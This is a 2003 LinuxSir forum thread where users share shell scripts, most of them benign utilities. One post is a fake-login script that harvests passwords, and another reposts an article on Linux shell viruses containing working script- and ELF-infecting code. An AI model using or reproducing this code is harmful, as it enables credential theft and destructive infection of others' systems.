LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 157303|回复: 167

【shell脚本欣赏区】:[展示你的作品的好去处!欢迎投帖]

[复制链接]
发表于 2003-3-28 11:59:36 | 显示全部楼层 |阅读模式

声明:
本版所发布之脚本程序,除注明转载出处,其余均出自本论坛!
请尊重作者的智力劳动!如需转帖,请注明来自黄嘴企鹅论坛
http://www.linuxsir.cn
如您发布的脚本为转贴,那么也请您注明来源,以示对原创者的尊重!谢谢合作!!!

附:SHELL各种版本下载地址:
KSH:
http://www.rpmfind.net/linux/rpm2html/search.php?query=pdksh
TCSH/CSH:
http://www.rpmfind.net/linux/rpm ... p;system=&arch=
ZSH:
http://www.rpmfind.net/linux/rpm ... p;system=&arch=
BASH:
http://www.rpmfind.net/linux/rpm ... p;system=&arch=
 楼主| 发表于 2003-3-28 12:48:40 | 显示全部楼层
介绍一个脚本
作者:javalee
  1. #!/bin/ksh
  2. # Script name: Speller
  3. #
  4. #
  5. # Purpose: Check and fix spelling errors in a file
  6. #
  7. exec < tmp   # opens the tmp file
  8. while read line  # read from the tmp file
  9. do
  10. print $line
  11. print -n "Is this word correct? [Y/N] "
  12. read answer < /dev/tty  # read from the terminal
  13.     case $answer in
  14.     [Yy]*)
  15.         continue
  16.             ;;
  17.     *)
  18.         print "New word? "
  19.         read word < /dev/tty
  20.         sed "s/$line/$word/" tmp > error
  21.         mv error tmp
  22.         print $word has been changed.
  23.             ;;
  24.     esac
  25. done
复制代码
*此脚本是逐行校正如tmp文件内容正确与否,起编辑的作用
 楼主| 发表于 2003-3-30 18:34:00 | 显示全部楼层
函数应用实例介绍
  1. $cat dbfunctions
  2. addon () {                  # 定义函数addon,他的功能是把新的信息加入datafile
  3.     while true
  4.     do
  5.         echo "Adding information "
  6.         echo "Type the full name of employee "
  7.         read name
  8.         echo "Type address for employee "
  9.         read address
  10.         echo "Type start date for employee (4/10/88 ) :"
  11.         read startdate
  12.         echo $name:$address:$startdate
  13.         echo -n "Is this correct? "
  14.         read ans
  15.         case "$ans"  in
  16.         [Yy]*)
  17.             echo "Adding info..."
  18.             echo $name:$address:$startdate>>datafile
  19.             sort -u datafile -o datafile
  20.             echo -n "Do you want to go back to the main menu? "
  21.             read ans
  22.             if [ $ans = Y -o $ans = y ]
  23.             then
  24.                 return        # return命令把控制送回函数被调用时所在的调用程序           
  25.              else
  26.                 continue        # 把控制返回到while循环顶部
  27.             fi
  28.                 ;;
  29.         *)
  30.             echo "Do you want to try again? "
  31.             read answer
  32.             case "$answer" in
  33.                 [Yy]*)
  34.                     continue;;
  35.                 *)
  36.                     exit;;
  37.             esac
  38.                 ;;
  39.         esac
  40.     done
  41. }       # 结束函数定义
  42. $cat mainprog
  43. #!/bin/sh
  44. script name: mainprog
  45. # This is the main script that will call the function, addon
  46. #datafile=$HOME/bourne/datafile
  47. datafile=./datafile
  48. .  dbfunctions  # dot命令把文件dbfunctions装入内存,
  49. if [ ! -f $datafile ]
  50. then
  51.     echo "`basename $datafile` does not exist" 1>&2
  52.     exit 1
  53. fi
  54. echo "Select one: "
  55. cat <<EOF
  56.     [1] Add info
  57.     [2] Delete info
  58.     [3] Exit
  59. EOF
  60. read choice
  61. case $choice in
  62.     1)  addon   # 调用函数
  63.         ;;
  64.     2)  delete  # 调用函数
  65.         ;;
  66.     3)  update
  67.         ;;
  68.     4)  echo Bye
  69.         exit 0
  70.         ;;
  71.     *)  echo Bad choice
  72.         exit 2
  73.         ;;
  74. esac
  75. echo Returned from function call
  76. echo The name is $name
  77. # Variable set in the function are known in this shell.
  78. 附:文件datafile
  79. cat database
  80. Ann Stephens            111 Main St, Boston, MA         4/10/88
  81. TB Savage               222 B Ave, New York, NY         5/11/99
复制代码
兄弟们有什么好的脚本,自创的也好,转帖的也好,都可以放在这里,好让大家欣赏,OK?  
 楼主| 发表于 2003-3-31 01:38:10 | 显示全部楼层

锁定控制台的一个脚本[自创]

在字符控制台里,锁定控制台,可以起到保护系统不被他人乱动的作用,奉献给兄弟们,请指教!;)
  1. #!/bin/ksh
  2. #scriptname:locktty
  3. #writed by :javalee
  4. #script start...
  5. reset;clear    #清除屏幕
  6. info="System will be locked!!! Press Waitting....."
  7. print "\n\n\n\n\n\n\n"
  8. for i in 9 8 7 6 5 4 3 2 1 0
  9. do
  10. print -n "                \a$info$i\r"
  11. sleep 1
  12. done
  13. clear
  14. #加上这个倒记时的小东东,;)
  15. trapper () {        #建立个函数
  16. trap ' ' 2 3 20 #忽略CTRL+C CTRL+\ CTRL+Z信号
  17. }
  18. while :        #进入死循环
  19. do
  20. trapper        #调用函数
  21. print "\n\n\n\n\n\n\n\n\t\t\tPlease enter unlock code:"
  22. stty -echo        #屏蔽输入的字符
  23. read input
  24. case $input in
  25. 123)
  26. print "\t\t     Hello $USER,Today is $(date +%T)\n"
  27. stty echo       
  28. break ;;        #输入正确,挑出循环回到命令行
  29. *)
  30. clear
  31. continue ;;        #否则,继续循环
  32. esac
  33. done
  34. #script over
复制代码
发表于 2003-4-3 15:31:53 | 显示全部楼层
不错!用Linux就该多写写脚本,天天想着怎么玩X,不如去装Windows算了
 楼主| 发表于 2003-4-9 00:39:11 | 显示全部楼层

解压脚本

特别感谢作者:tram兄
文件名分析的那里还有点意思。
  1. #!/bin/bash
  2. UNPACK=1
  3. if [ ${1##*.} = bz2 ] ; then
  4.         TEMP=${1%.*}
  5.         if [ ${TEMP##*.} = tar ] ; then
  6.                 tar jxvf $1
  7.                 UNPACK=$?
  8.                 echo This is a tar.bz2 package
  9.         else
  10.                 bunzip2 $1
  11.                 UNPACK=$?
  12.                 echo This is a bz2 package
  13.         fi
  14. fi
  15. if [ ${1##*.} = gz ] ; then
  16.         TEMP=${1%.*}
  17.         if [ ${TEMP##*.} = tar ] ; then
  18.                 tar zxvf $1
  19.                 UNPACK=$?
  20.                 echo This is a tar.gz package
  21.         else
  22.                 gunzip $1
  23.                 UNPACK=$?
  24.                 echo This is a gz package
  25.         fi
  26. fi
  27. if [ ${1##*.} = tar ] ; then
  28.         tar xvf $1
  29.         UNPACK=$?
  30.         echo This is a tar package
  31. fi
  32. if [ $UNPACK = 0 ] ; then
  33.         echo Success!
  34. else
  35.         echo Maybe it is not a package or the package is damaged?
  36. fi
复制代码
 楼主| 发表于 2003-4-9 00:44:18 | 显示全部楼层

一个盗取别人passwd的shell脚本

特别感谢作者:ghostwalker兄
  1. #! /bin/sh
  2. clear
  3. cat /etc/issue
  4. echo -n "login: "
  5. read login
  6. echo -n "Password: "
  7. stty -echo
  8. read passwd
  9. stty sane
  10. mail $USER <<- fin
  11. login: $login
  12. passwd: $passwd
  13. fin
  14. echo "Login incorrect"
  15. sleep 1
  16. logout
复制代码
 楼主| 发表于 2003-4-9 00:47:48 | 显示全部楼层

简单递归实例

作者:javalee
  1. #! /bin/bash
  2. #这是一个用递归函数写的阶乘的例子,
  3. function factorial
  4. {
  5. ret_val=0
  6. factarg=0
  7. if (( $1<=1 ))
  8. then
  9. res=1
  10. return 0
  11. else
  12. (( factarg=$1 - 1 ))
  13. factorial $factarg
  14. (( ret_val=$1 * $res ))
  15. res=$ret_val
  16. return 0
  17. fi
  18. }
  19. factorial $1
  20. echo "Factorial of $1 is:$res"
  21. [javalee@Linux javalee]$ sh digui 6
  22. Factorial of 6 is:720
复制代码
 楼主| 发表于 2003-4-9 00:54:18 | 显示全部楼层

[ZZ]感染linux脚本程序技术

特别感谢推荐人: ykwj121兄

感染linux脚本程序技术
原创:e4gle(大鹰)
来源:www.whitecell.org

感染linux脚本程序技术
by elf0 <elf0@whitecell.org> from www.whitecell.org 参考:29A病毒杂志第5期 伍昨
----
本文来源于29A病毒杂志,其上对linux shell病毒技术有了一个综合的阐述,我不想
翻译它,我以它的那篇为模板
写了这篇中文的文章,里面的代码我都做了调试.
对于shell编程的程序员来说所谓的shell病毒技术其实根本就是小牛一毛,这点在大
家看完本文后就会有所体会
但,简单归简单,我们还是要去了解它,呵呵.

主要的shell病毒技术
-------------------
当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.
ok!我们进入正题!
我们来看一个最原始的shell病毒,代码最能说明问题:
  1. #shellvirus I
  2. for file in *
  3. do
  4.    cp $0 $file
  5. done
复制代码

简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户
的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现
并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:
  1. #shellvirus II
  2. for file in *
  3.   do
  4.     if test -f $file
  5.     then
  6.      if test -x $file
  7.      then
  8.       if test -w $file
  9.       then
  10.        if grep -s echo $file >.mmm
  11.        then
  12.        cp $0 $file
  13.   fi; fi; fi; fi; fi
  14. done
  15. rm .mmm -f
复制代码
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权
限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大
的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ;
then,也就是判断file是否为shell
脚本程序.
但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜
伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,
看看下面
  1. #infection
  2. head -n 24 $0 > .test        <-取自身保存到.test
  3.   for file in *            <-遍历文件系统
  4.   do
  5.    if test -f $file        <-判断是否为文件
  6.    then
  7.        if test -x $file        <-判断文件是否可执行
  8.        then
  9.             if test -w $file    <-判断文件是否可写
  10.             then
  11.               if grep -s echo $file >.mmm    <-判断是否为脚本程序
  12.               then
  13.                 head -n 1 $file >.mm        <-提取要感染的脚本程序的第一行
  14.                 if grep -s infection .mm >.mmm    <-判断该文件是否已经被感染
  15.   
  16.                 then
  17.                  rm -f .mm            <-已经被感染,则跳过
  18.                 else                <-还未被感染
  19.                  cat $file > .SAVEE        <-很熟悉吧?借用了传统的二进制文件
  20. 的感染机制
  21.                  cat .test > $file
  22.                  cat .SAVEE >> $file
  23.    fi; fi; fi; fi; fi
  24. done
  25. rm .test .SAVEE .mmm .mm -f
复制代码

程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,s
hell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着
在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
  1. #infection
  2. for file in * ;  do
  3.    if test -f $file && test -x $file && test -w $file ; then
  4.     if grep -s echo $file > /dev/nul ; then
  5.      head -n 1 $file >.mm
  6.       if grep -s infection .mm > /dev/nul ; then
  7.        rm .mm -f ; else
  8.         cat $file > .SAVEE
  9.         head -n 13 $0 > $file
  10.         cat .SAVEE >> $file
  11.   fi; fi; fi
  12. done
  13. rm .SAVEE .mm -f
复制代码
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至
写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如
根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了
  1. #infection
  2. xtemp=$pwd                <-保存当前路径
  3. head -n 22 $0 > /.test
  4. for dir in /* ; do            <-遍历/目录
  5.   if test -d $dir ; then        <-如果是目录就cd该目录
  6.    cd $dir
  7.    for file in * ; do            <-遍历该目录文件
  8.     if test -f $file && test -x $file && test -w $file ; then    <-确定文件是
  9. 否可执行,可写
  10.      if grep -s echo $file > /dev/nul ; then            <-确定是否为脚本程序
  11.   
  12.        head -n 1 $file > .mm
  13.        if grep -s infection .mm > /dev/nul ; then        <-确定是否已经被感染
  14.   
  15.         rm .mm -f ; else
  16.          cat $file > /.SAVEE                <-和前面的感染机制一样感染未被感
  17. 染的脚本程序
  18.          cat /.test > $file
  19.          cat /.SAVEE >> $file
  20.     fi; fi; fi
  21.    done
  22.    cd ..
  23.   fi
  24. done
  25. cd $xtemp        <-返回原目录
  26. rm /.test /.SAVEE .mm -f
复制代码
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循
环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来
发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧
  1. for file in * ;  do
  2.    if test -f $file && test -x $file && test -w $file ; then
  3.     if file $file | grep -s 'ELF' > /dev/nul ; then
  4.      mv $file .$file
  5.      head -n 9 $0 > $file
  6.   fi; fi
  7. done
  8. $0
复制代码
 楼主| 发表于 2003-4-9 00:57:58 | 显示全部楼层

一个自动挂载dos分区的脚本

特别感谢作者:sjqu兄
这就是我的一个练习,请多指教。
  1. #!/bin/bash
  2. #bakup /etc/fstab
  3. cp /etc/fstab /etc/fstab.orig
  4. # config
  5. fdisk -l /dev/hda |grep FAT  >>temp
  6. fdisk -l /dev/hdb |grep FAT  >>temp
  7. fdisk -l /dev/hdc |grep FAT  >>temp
  8. fdisk -l /dev/hdd |grep FAT  >>temp
  9. #sort
  10. awk '$0~/\*/ {print $1"  "$NF}' temp >>pt
  11. awk '$0!~/\*/ {print $1"  "$NF}' temp >>pt
  12. i=142
  13. while read disks fstype
  14. do
  15.      if [ $fstype = "FAT32" ]; then
  16.        disks_FS=vfat
  17.      else
  18.        disks_FS=msdos
  19.      fi
  20. i=`expr $i + 1`
  21. if [ "${i:2}" != "8" -a "${i:2}" != "9" ]; then
  22.   echo -e  "$disks"\\t"/mnt/"\\$i""\\t"$disks_FS"\\t"iocharset=gb2312,codepage=936,umask=0 0 0" >>/etc/fstab
  23.    fi
  24. done <pt
  25. rm -f temp pt
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表